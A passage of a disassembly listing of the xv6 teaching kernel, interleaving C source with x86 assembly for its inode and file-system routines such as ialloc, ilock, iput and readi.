%edi 80101404: 5d pop %ebp 80101405: c3 ret 80101406: 8d 76 00 lea 0x0(%esi),%esi 80101409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101410: e8 6b fd ff ff call 80101180 <balloc> 80101415: 89 c2 mov %eax,%edx 80101417: 89 86 8c 00 00 00 mov %eax,0x8c(%esi) 8010141d: 8b 06 mov (%esi),%eax 8010141f: e9 7c ff ff ff jmp 801013a0 <bmap+0x40> panic("bmap: out of range"); 80101424: 83 ec 0c sub $0xc,%esp 80101427: 68 d8 70 10 80 push $0x801070d8 8010142c: e8 5f ef ff ff call 80100390 <panic> 80101431: eb 0d jmp 80101440 <readsb> 80101433: 90 nop 80101434: 90 nop 80101435: 90 nop 80101436: 90 nop 80101437: 90 nop 80101438: 90 nop 80101439: 90 nop 8010143a: 90 nop 8010143b: 90 nop 8010143c: 90 nop 8010143d: 90 nop 8010143e: 90 nop 8010143f: 90 nop 80101440 <readsb>: { 80101440: 55 push %ebp 80101441: 89 e5 mov %esp,%ebp 80101443: 56 push %esi 80101444: 53 push %ebx 80101445: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 80101448: 83 ec 08 sub $0x8,%esp 8010144b: 6a 01 push $0x1 8010144d: ff 75 08 pushl 0x8(%ebp) 80101450: e8 7b ec ff ff call 801000d0 <bread> 80101455: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 80101457: 8d 40 5c lea 0x5c(%eax),%eax 8010145a: 83 c4 0c add $0xc,%esp 8010145d: 6a 1c push $0x1c 8010145f: 50 push %eax 80101460: 56 push %esi 80101461: e8 6a 31 00 00 call 801045d0 <memmove> brelse(bp); 80101466: 89 5d 08 mov %ebx,0x8(%ebp) 80101469: 83 c4 10 add $0x10,%esp } 8010146c: 8d 65 f8 lea -0x8(%ebp),%esp 8010146f: 5b pop %ebx 80101470: 5e pop %esi 80101471: 5d pop %ebp brelse(bp); 80101472: e9 69 ed ff ff jmp 801001e0 <brelse> 80101477: 89 f6 mov %esi,%esi 80101479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101480 <iinit>: { 80101480: 55 push %ebp 80101481: 89 e5 mov %esp,%ebp 80101483: 53 push %ebx 80101484: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101489: 83 ec 0c sub $0xc,%esp initlock(&icache.lock, "icache"); 8010148c: 68 eb 70 10 80 push $0x801070eb 80101491: 68 e0 09 11 80 push $0x801109e0 80101496: e8 35 2e 00 00 call 801042d0 <initlock> 8010149b: 83 c4 10 add $0x10,%esp 8010149e: 66 90 xchg %ax,%ax initsleeplock(&icache.inode[i].lock, "inode"); 801014a0: 83 ec 08 sub $0x8,%esp 801014a3: 68 f2 70 10 80 push $0x801070f2 801014a8: 53 push %ebx 801014a9: 81 c3 90 00 00 00 add $0x90,%ebx 801014af: e8 ec 2c 00 00 call 801041a0 <initsleeplock> for(i = 0; i < NINODE; i++) { 801014b4: 83 c4 10 add $0x10,%esp 801014b7: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 801014bd: 75 e1 jne 801014a0 <iinit+0x20> readsb(dev, &sb); 801014bf: 83 ec 08 sub $0x8,%esp 801014c2: 68 c0 09 11 80 push $0x801109c0 801014c7: ff 75 08 pushl 0x8(%ebp) 801014ca: e8 71 ff ff ff call 80101440 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014cf: ff 35 d8 09 11 80 pushl 0x801109d8 801014d5: ff 35 d4 09 11 80 pushl 0x801109d4 801014db: ff 35 d0 09 11 80 pushl 0x801109d0 801014e1: ff 35 cc 09 11 80 pushl 0x801109cc 801014e7: ff 35 c8 09 11 80 pushl 0x801109c8 801014ed: ff 35 c4 09 11 80 pushl 0x801109c4 801014f3: ff 35 c0 09 11 80 pushl 0x801109c0 801014f9: 68 58 71 10 80 push $0x80107158 801014fe: e8 5d f1 ff ff call 80100660 <cprintf> } 80101503: 83 c4 30 add $0x30,%esp 80101506: 8b 5d fc mov -0x4(%ebp),%ebx 80101509: c9 leave 8010150a: c3 ret 8010150b: 90 nop 8010150c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101510 <ialloc>: { 80101510: 55 push %ebp 80101511: 89 e5 mov %esp,%ebp 80101513: 57 push %edi 80101514: 56 push %esi 80101515: 53 push %ebx 80101516: 83 ec 1c sub $0x1c,%esp for(inum = 1; inum < sb.ninodes; inum++){ 80101519: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 { 80101520: 8b 45 0c mov 0xc(%ebp),%eax 80101523: 8b 75 08 mov 0x8(%ebp),%esi 80101526: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 80101529: 0f 86 91 00 00 00 jbe 801015c0 <ialloc+0xb0> 8010152f: bb 01 00 00 00 mov $0x1,%ebx 80101534: eb 21 jmp 80101557 <ialloc+0x47> 80101536: 8d 76 00 lea 0x0(%esi),%esi 80101539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi brelse(bp); 80101540: 83 ec 0c sub $0xc,%esp for(inum = 1; inum < sb.ninodes; inum++){ 80101543: 83 c3 01 add $0x1,%ebx brelse(bp); 80101546: 57 push %edi 80101547: e8 94 ec ff ff call 801001e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010154c: 83 c4 10 add $0x10,%esp 8010154f: 39 1d c8 09 11 80 cmp %ebx,0x801109c8 80101555: 76 69 jbe 801015c0 <ialloc+0xb0> bp = bread(dev, IBLOCK(inum, sb)); 80101557: 89 d8 mov %ebx,%eax 80101559: 83 ec 08 sub $0x8,%esp 8010155c: c1 e8 03 shr $0x3,%eax 8010155f: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101565: 50 push %eax 80101566: 56 push %esi 80101567: e8 64 eb ff ff call 801000d0 <bread> 8010156c: 89 c7 mov %eax,%edi dip = (struct dinode*)bp->data + inum%IPB; 8010156e: 89 d8 mov %ebx,%eax if(dip->type == 0){ // a free inode 80101570: 83 c4 10 add $0x10,%esp dip = (struct dinode*)bp->data + inum%IPB; 80101573: 83 e0 07 and $0x7,%eax 80101576: c1 e0 06 shl $0x6,%eax 80101579: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010157d: 66 83 39 00 cmpw $0x0,(%ecx) 80101581: 75 bd jne 80101540 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101583: 83 ec 04 sub $0x4,%esp 80101586: 89 4d e0 mov %ecx,-0x20(%ebp) 80101589: 6a 40 push $0x40 8010158b: 6a 00 push $0x0 8010158d: 51 push %ecx 8010158e: e8 8d 2f 00 00 call 80104520 <memset> dip->type = type; 80101593: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80101597: 8b 4d e0 mov -0x20(%ebp),%ecx 8010159a: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 8010159d: 89 3c 24 mov %edi,(%esp) 801015a0: e8 cb 17 00 00 call 80102d70 <log_write> brelse(bp); 801015a5: 89 3c 24 mov %edi,(%esp) 801015a8: e8 33 ec ff ff call 801001e0 <brelse> return iget(dev, inum); 801015ad: 83 c4 10 add $0x10,%esp } 801015b0: 8d 65 f4 lea -0xc(%ebp),%esp return iget(dev, inum); 801015b3: 89 da mov %ebx,%edx 801015b5: 89 f0 mov %esi,%eax } 801015b7: 5b pop %ebx 801015b8: 5e pop %esi 801015b9: 5f pop %edi 801015ba: 5d pop %ebp return iget(dev, inum); 801015bb: e9 d0 fc ff ff jmp 80101290 <iget> panic("ialloc: no inodes"); 801015c0: 83 ec 0c sub $0xc,%esp 801015c3: 68 f8 70 10 80 push $0x801070f8 801015c8: e8 c3 ed ff ff call 80100390 <panic> 801015cd: 8d 76 00 lea 0x0(%esi),%esi 801015d0 <iupdate>: { 801015d0: 55 push %ebp 801015d1: 89 e5 mov %esp,%ebp 801015d3: 56 push %esi 801015d4: 53 push %ebx 801015d5: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015d8: 83 ec 08 sub $0x8,%esp 801015db: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015de: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015e1: c1 e8 03 shr $0x3,%eax 801015e4: 03 05 d4 09 11 80 add 0x801109d4,%eax 801015ea: 50 push %eax 801015eb: ff 73 a4 pushl -0x5c(%ebx) 801015ee: e8 dd ea ff ff call 801000d0 <bread> 801015f3: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801015f5: 8b 43 a8 mov -0x58(%ebx),%eax dip->type = ip->type; 801015f8: 0f b7 53 f4 movzwl -0xc(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015fc: 83 c4 0c add $0xc,%esp dip = (struct dinode*)bp->data + ip->inum%IPB; 801015ff: 83 e0 07 and $0x7,%eax 80101602: c1 e0 06 shl $0x6,%eax 80101605: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax dip->type = ip->type; 80101609: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 8010160c: 0f b7 53 f6 movzwl -0xa(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101610: 83 c0 0c add $0xc,%eax dip->major = ip->major; 80101613: 66 89 50 f6 mov %dx,-0xa(%eax) dip->minor = ip->minor; 80101617: 0f b7 53 f8 movzwl -0x8(%ebx),%edx 8010161b: 66 89 50 f8 mov %dx,-0x8(%eax) dip->nlink = ip->nlink; 8010161f: 0f b7 53 fa movzwl -0x6(%ebx),%edx 80101623: 66 89 50 fa mov %dx,-0x6(%eax) dip->size = ip->size; 80101627: 8b 53 fc mov -0x4(%ebx),%edx 8010162a: 89 50 fc mov %edx,-0x4(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010162d: 6a 34 push $0x34 8010162f: 53 push %ebx 80101630: 50 push %eax 80101631: e8 9a 2f 00 00 call 801045d0 <memmove> log_write(bp); 80101636: 89 34 24 mov %esi,(%esp) 80101639: e8 32 17 00 00 call 80102d70 <log_write> brelse(bp); 8010163e: 89 75 08 mov %esi,0x8(%ebp) 80101641: 83 c4 10 add $0x10,%esp } 80101644: 8d 65 f8 lea -0x8(%ebp),%esp 80101647: 5b pop %ebx 80101648: 5e pop %esi 80101649: 5d pop %ebp brelse(bp); 8010164a: e9 91 eb ff ff jmp 801001e0 <brelse> 8010164f: 90 nop 80101650 <idup>: { 80101650: 55 push %ebp 80101651: 89 e5 mov %esp,%ebp 80101653: 53 push %ebx 80101654: 83 ec 10 sub $0x10,%esp 80101657: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010165a: 68 e0 09 11 80 push $0x801109e0 8010165f: e8 ac 2d 00 00 call 80104410 <acquire> ip->ref++; 80101664: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 80101668: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010166f: e8 5c 2e 00 00 call 801044d0 <release> } 80101674: 89 d8 mov %ebx,%eax 80101676: 8b 5d fc mov -0x4(%ebp),%ebx 80101679: c9 leave 8010167a: c3 ret 8010167b: 90 nop 8010167c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101680 <ilock>: { 80101680: 55 push %ebp 80101681: 89 e5 mov %esp,%ebp 80101683: 56 push %esi 80101684: 53 push %ebx 80101685: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 80101688: 85 db test %ebx,%ebx 8010168a: 0f 84 b7 00 00 00 je 80101747 <ilock+0xc7> 80101690: 8b 53 08 mov 0x8(%ebx),%edx 80101693: 85 d2 test %edx,%edx 80101695: 0f 8e ac 00 00 00 jle 80101747 <ilock+0xc7> acquiresleep(&ip->lock); 8010169b: 8d 43 0c lea 0xc(%ebx),%eax 8010169e: 83 ec 0c sub $0xc,%esp 801016a1: 50 push %eax 801016a2: e8 39 2b 00 00 call 801041e0 <acquiresleep> if(ip->valid == 0){ 801016a7: 8b 43 4c mov 0x4c(%ebx),%eax 801016aa: 83 c4 10 add $0x10,%esp 801016ad: 85 c0 test %eax,%eax 801016af: 74 0f je 801016c0 <ilock+0x40> } 801016b1: 8d 65 f8 lea -0x8(%ebp),%esp 801016b4: 5b pop %ebx 801016b5: 5e pop %esi 801016b6: 5d pop %ebp 801016b7: c3 ret 801016b8: 90 nop 801016b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016c0: 8b 43 04 mov 0x4(%ebx),%eax 801016c3: 83 ec 08 sub $0x8,%esp 801016c6: c1 e8 03 shr $0x3,%eax 801016c9: 03 05 d4 09 11 80 add 0x801109d4,%eax 801016cf: 50 push %eax 801016d0: ff 33 pushl (%ebx) 801016d2: e8 f9 e9 ff ff call 801000d0 <bread> 801016d7: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801016d9: 8b 43 04 mov 0x4(%ebx),%eax memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016dc: 83 c4 0c add $0xc,%esp dip = (struct dinode*)bp->data + ip->inum%IPB; 801016df: 83 e0 07 and $0x7,%eax 801016e2: c1 e0 06 shl $0x6,%eax 801016e5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax ip->type = dip->type; 801016e9: 0f b7 10 movzwl (%eax),%edx memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016ec: 83 c0 0c add $0xc,%eax ip->type = dip->type; 801016ef: 66 89 53 50 mov %dx,0x50(%ebx) ip->major = dip->major; 801016f3: 0f b7 50 f6 movzwl -0xa(%eax),%edx 801016f7: 66 89 53 52 mov %dx,0x52(%ebx) ip->minor = dip->minor; 801016fb: 0f b7 50 f8 movzwl -0x8(%eax),%edx 801016ff: 66 89 53 54 mov %dx,0x54(%ebx) ip->nlink = dip->nlink; 80101703: 0f b7 50 fa movzwl -0x6(%eax),%edx 80101707: 66 89 53 56 mov %dx,0x56(%ebx) ip->size = dip->size; 8010170b: 8b 50 fc mov -0x4(%eax),%edx 8010170e: 89 53 58 mov %edx,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101711: 6a 34 push $0x34 80101713: 50 push %eax 80101714: 8d 43 5c lea 0x5c(%ebx),%eax 80101717: 50 push %eax 80101718: e8 b3 2e 00 00 call 801045d0 <memmove> brelse(bp); 8010171d: 89 34 24 mov %esi,(%esp) 80101720: e8 bb ea ff ff call 801001e0 <brelse> if(ip->type == 0) 80101725: 83 c4 10 add $0x10,%esp 80101728: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010172d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101734: 0f 85 77 ff ff ff jne 801016b1 <ilock+0x31> panic("ilock: no type"); 8010173a: 83 ec 0c sub $0xc,%esp 8010173d: 68 10 71 10 80 push $0x80107110 80101742: e8 49 ec ff ff call 80100390 <panic> panic("ilock"); 80101747: 83 ec 0c sub $0xc,%esp 8010174a: 68 0a 71 10 80 push $0x8010710a 8010174f: e8 3c ec ff ff call 80100390 <panic> 80101754: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010175a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101760 <iunlock>: { 80101760: 55 push %ebp 80101761: 89 e5 mov %esp,%ebp 80101763: 56 push %esi 80101764: 53 push %ebx 80101765: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 80101768: 85 db test %ebx,%ebx 8010176a: 74 28 je 80101794 <iunlock+0x34> 8010176c: 8d 73 0c lea 0xc(%ebx),%esi 8010176f: 83 ec 0c sub $0xc,%esp 80101772: 56 push %esi 80101773: e8 08 2b 00 00 call 80104280 <holdingsleep> 80101778: 83 c4 10 add $0x10,%esp 8010177b: 85 c0 test %eax,%eax 8010177d: 74 15 je 80101794 <iunlock+0x34> 8010177f: 8b 43 08 mov 0x8(%ebx),%eax 80101782: 85 c0 test %eax,%eax 80101784: 7e 0e jle 80101794 <iunlock+0x34> releasesleep(&ip->lock); 80101786: 89 75 08 mov %esi,0x8(%ebp) } 80101789: 8d 65 f8 lea -0x8(%ebp),%esp 8010178c: 5b pop %ebx 8010178d: 5e pop %esi 8010178e: 5d pop %ebp releasesleep(&ip->lock); 8010178f: e9 ac 2a 00 00 jmp 80104240 <releasesleep> panic("iunlock"); 80101794: 83 ec 0c sub $0xc,%esp 80101797: 68 1f 71 10 80 push $0x8010711f 8010179c: e8 ef eb ff ff call 80100390 <panic> 801017a1: eb 0d jmp 801017b0 <iput> 801017a3: 90 nop 801017a4: 90 nop 801017a5: 90 nop 801017a6: 90 nop 801017a7: 90 nop 801017a8: 90 nop 801017a9: 90 nop 801017aa: 90 nop 801017ab: 90 nop 801017ac: 90 nop 801017ad: 90 nop 801017ae: 90 nop 801017af: 90 nop 801017b0 <iput>: { 801017b0: 55 push %ebp 801017b1: 89 e5 mov %esp,%ebp 801017b3: 57 push %edi 801017b4: 56 push %esi 801017b5: 53 push %ebx 801017b6: 83 ec 28 sub $0x28,%esp 801017b9: 8b 5d 08 mov 0x8(%ebp),%ebx acquiresleep(&ip->lock); 801017bc: 8d 7b 0c lea 0xc(%ebx),%edi 801017bf: 57 push %edi 801017c0: e8 1b 2a 00 00 call 801041e0 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017c5: 8b 53 4c mov 0x4c(%ebx),%edx 801017c8: 83 c4 10 add $0x10,%esp 801017cb: 85 d2 test %edx,%edx 801017cd: 74 07 je 801017d6 <iput+0x26> 801017cf: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 801017d4: 74 32 je 80101808 <iput+0x58> releasesleep(&ip->lock); 801017d6: 83 ec 0c sub $0xc,%esp 801017d9: 57 push %edi 801017da: e8 61 2a 00 00 call 80104240 <releasesleep> acquire(&icache.lock); 801017df: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801017e6: e8 25 2c 00 00 call 80104410 <acquire> ip->ref--; 801017eb: 83 6b 08 01 subl $0x1,0x8(%ebx) release(&icache.lock); 801017ef: 83 c4 10 add $0x10,%esp 801017f2: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 801017f9: 8d 65 f4 lea -0xc(%ebp),%esp 801017fc: 5b pop %ebx 801017fd: 5e pop %esi 801017fe: 5f pop %edi 801017ff: 5d pop %ebp release(&icache.lock); 80101800: e9 cb 2c 00 00 jmp 801044d0 <release> 80101805: 8d 76 00 lea 0x0(%esi),%esi acquire(&icache.lock); 80101808: 83 ec 0c sub $0xc,%esp 8010180b: 68 e0 09 11 80 push $0x801109e0 80101810: e8 fb 2b 00 00 call 80104410 <acquire> int r = ip->ref; 80101815: 8b 73 08 mov 0x8(%ebx),%esi release(&icache.lock); 80101818: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010181f: e8 ac 2c 00 00 call 801044d0 <release> if(r == 1){ 80101824: 83 c4 10 add $0x10,%esp 80101827: 83 fe 01 cmp $0x1,%esi 8010182a: 75 aa jne 801017d6 <iput+0x26> 8010182c: 8d 8b 8c 00 00 00 lea 0x8c(%ebx),%ecx 80101832: 89 7d e4 mov %edi,-0x1c(%ebp) 80101835: 8d 73 5c lea 0x5c(%ebx),%esi 80101838: 89 cf mov %ecx,%edi 8010183a: eb 0b jmp 80101847 <iput+0x97> 8010183c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101840: 83 c6 04 add $0x4,%esi { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101843: 39 fe cmp %edi,%esi 80101845: 74 19 je 80101860 <iput+0xb0> if(ip->addrs[i]){ 80101847: 8b 16 mov (%esi),%edx 80101849: 85 d2 test %edx,%edx 8010184b: 74 f3 je 80101840 <iput+0x90> bfree(ip->dev, ip->addrs[i]); 8010184d: 8b 03 mov (%ebx),%eax 8010184f: e8 bc f8 ff ff call 80101110 <bfree> ip->addrs[i] = 0; 80101854: c7 06 00 00 00 00 movl $0x0,(%esi) 8010185a: eb e4 jmp 80101840 <iput+0x90> 8010185c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } if(ip->addrs[NDIRECT]){ 80101860: 8b 83 8c 00 00 00 mov 0x8c(%ebx),%eax 80101866: 8b 7d e4 mov -0x1c(%ebp),%edi 80101869: 85 c0 test %eax,%eax 8010186b: 75 33 jne 801018a0 <iput+0xf0> bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; iupdate(ip); 8010186d: 83 ec 0c sub $0xc,%esp ip->size = 0; 80101870: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) iupdate(ip); 80101877: 53 push %ebx 80101878: e8 53 fd ff ff call 801015d0 <iupdate> ip->type = 0; 8010187d: 31 c0 xor %eax,%eax 8010187f: 66 89 43 50 mov %ax,0x50(%ebx) iupdate(ip); 80101883: 89 1c 24 mov %ebx,(%esp) 80101886: e8 45 fd ff ff call 801015d0 <iupdate> ip->valid = 0; 8010188b: c7 43 4c 00 00 00 00 movl $0x0,0x4c(%ebx) 80101892: 83 c4 10 add $0x10,%esp 80101895: e9 3c ff ff ff jmp 801017d6 <iput+0x26> 8010189a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018a0: 83 ec 08 sub $0x8,%esp 801018a3: 50 push %eax 801018a4: ff 33 pushl (%ebx) 801018a6: e8 25 e8 ff ff call 801000d0 <bread> 801018ab: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx 801018b1: 89 7d e0 mov %edi,-0x20(%ebp) 801018b4: 89 45 e4 mov %eax,-0x1c(%ebp) a = (uint*)bp->data; 801018b7: 8d 70 5c lea 0x5c(%eax),%esi 801018ba: 83 c4 10 add $0x10,%esp 801018bd: 89 cf mov %ecx,%edi 801018bf: eb 0e jmp 801018cf <iput+0x11f> 801018c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801018c8: 83 c6 04 add $0x4,%esi for(j = 0; j < NINDIRECT; j++){ 801018cb: 39 fe cmp %edi,%esi 801018cd: 74 0f je 801018de <iput+0x12e> if(a[j]) 801018cf: 8b 16 mov (%esi),%edx 801018d1: 85 d2 test %edx,%edx 801018d3: 74 f3 je 801018c8 <iput+0x118> bfree(ip->dev, a[j]); 801018d5: 8b 03 mov (%ebx),%eax 801018d7: e8 34 f8 ff ff call 80101110 <bfree> 801018dc: eb ea jmp 801018c8 <iput+0x118> brelse(bp); 801018de: 83 ec 0c sub $0xc,%esp 801018e1: ff 75 e4 pushl -0x1c(%ebp) 801018e4: 8b 7d e0 mov -0x20(%ebp),%edi 801018e7: e8 f4 e8 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018ec: 8b 93 8c 00 00 00 mov 0x8c(%ebx),%edx 801018f2: 8b 03 mov (%ebx),%eax 801018f4: e8 17 f8 ff ff call 80101110 <bfree> ip->addrs[NDIRECT] = 0; 801018f9: c7 83 8c 00 00 00 00 movl $0x0,0x8c(%ebx) 80101900: 00 00 00 80101903: 83 c4 10 add $0x10,%esp 80101906: e9 62 ff ff ff jmp 8010186d <iput+0xbd> 8010190b: 90 nop 8010190c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101910 <iunlockput>: { 80101910: 55 push %ebp 80101911: 89 e5 mov %esp,%ebp 80101913: 53 push %ebx 80101914: 83 ec 10 sub $0x10,%esp 80101917: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010191a: 53 push %ebx 8010191b: e8 40 fe ff ff call 80101760 <iunlock> iput(ip); 80101920: 89 5d 08 mov %ebx,0x8(%ebp) 80101923: 83 c4 10 add $0x10,%esp } 80101926: 8b 5d fc mov -0x4(%ebp),%ebx 80101929: c9 leave iput(ip); 8010192a: e9 81 fe ff ff jmp 801017b0 <iput> 8010192f: 90 nop 80101930 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101930: 55 push %ebp 80101931: 89 e5 mov %esp,%ebp 80101933: 8b 55 08 mov 0x8(%ebp),%edx 80101936: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101939: 8b 0a mov (%edx),%ecx 8010193b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010193e: 8b 4a 04 mov 0x4(%edx),%ecx 80101941: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101944: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101948: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010194b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010194f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101953: 8b 52 58 mov 0x58(%edx),%edx 80101956: 89 50 10 mov %edx,0x10(%eax) } 80101959: 5d pop %ebp 8010195a: c3 ret 8010195b: 90 nop 8010195c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101960 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101960: 55 push %ebp 80101961: 89 e5 mov %esp,%ebp 80101963: 57 push %edi 80101964: 56 push %esi 80101965: 53 push %ebx 80101966: 83 ec 1c sub $0x1c,%esp 80101969: 8b 45 08 mov 0x8(%ebp),%eax 8010196c: 8b 75 0c mov 0xc(%ebp),%esi 8010196f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101972: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101977: 89 75 e0 mov %esi,-0x20(%ebp) 8010197a: 89 45 d8 mov %eax,-0x28(%ebp) 8010197d: 8b 75 10 mov 0x10(%ebp),%esi 80101980: 89 7d e4 mov %edi,-0x1c(%ebp) if(ip->type == T_DEV){ 80101983: 0f 84 a7 00 00 00 je 80101a30 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101989: 8b 45 d8 mov -0x28(%ebp),%eax 8010198c: 8b 40 58 mov 0x58(%eax),%eax 8010198f: 39 c6 cmp %eax,%esi 80101991: 0f 87 ba 00 00 00 ja 80101a51 <readi+0xf1> 80101997: 8b 7d e4 mov -0x1c(%ebp),%edi 8010199a: 89 f9 mov %edi,%ecx 8010199c: 01 f1 add %esi,%ecx 8010199e: 0f 82 ad 00 00 00 jb 80101a51 <readi+0xf1> return -1; if(off + n > ip->size) n = ip->size - off; 801019a4: 89 c2 mov %eax,%edx 801019a6: 29 f2 sub %esi,%edx 801019a8: 39 c8 cmp %ecx,%eax 801019aa: 0f 43 d7 cmovae %edi,%edx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019ad: 31 ff xor %edi,%edi 801019af: 85 d2 test %edx,%edx n = ip->size - off; 801019b1: 89 55 e4 mov %edx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019b4: 74 6c je 80101a22 <readi+0xc2> 801019b6: 8d 76 00 lea 0x0(%esi),%esi 801019b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019c0: 8b 5d d8 mov -0x28(%ebp),%ebx 801019c3: 89 f2 mov %esi,%edx 801019c5: c1 ea 09 shr $0x9,%edx 801019c8: 89 d8 mov %ebx,%eax 801019ca: e8 91 f9 ff ff call 80101360 <bmap> 801019cf: 83 ec 08 sub $0x8,%esp 801019d2: 50 push %eax 801019d3: ff 33 pushl (%ebx) 801019d5: e8 f6 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019da: 8b 5d e4 mov -0x1c(%ebp),%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019dd: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019df: 89 f0 mov %esi,%eax 801019e1: 25 ff 01 00 00 and $0x1ff,%eax 801019e6: b9 00 02 00 00 mov $0x200,%ecx 801019eb: 83 c4 0c add $0xc,%esp 801019ee: 29 c1 sub %eax,%ecx memmove(dst, bp->data + off%BSIZE, m); 801019f0: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax 801019f4: 89 55 dc mov %edx,-0x24(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 801019f7: 29 fb sub %edi,%ebx 801019f9: 39 d9 cmp %ebx,%ecx 801019fb: 0f 46 d9 cmovbe %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019fe: 53 push %ebx 801019ff: 50 push %eax for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a00: 01 df add %ebx,%edi memmove(dst, bp->data + off%BSIZE, m); 80101a02: ff 75 e0 pushl -0x20(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a05: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 80101a07: e8 c4 2b 00 00 call 801045d0 <memmove> brelse(bp); 80101a0c: 8b 55 dc mov -0x24(%ebp),%edx 80101a0f: 89 14 24 mov %edx,(%esp) 80101a12: e8 c9 e7 ff ff call 801001e0 <brelse> for(tot=0; 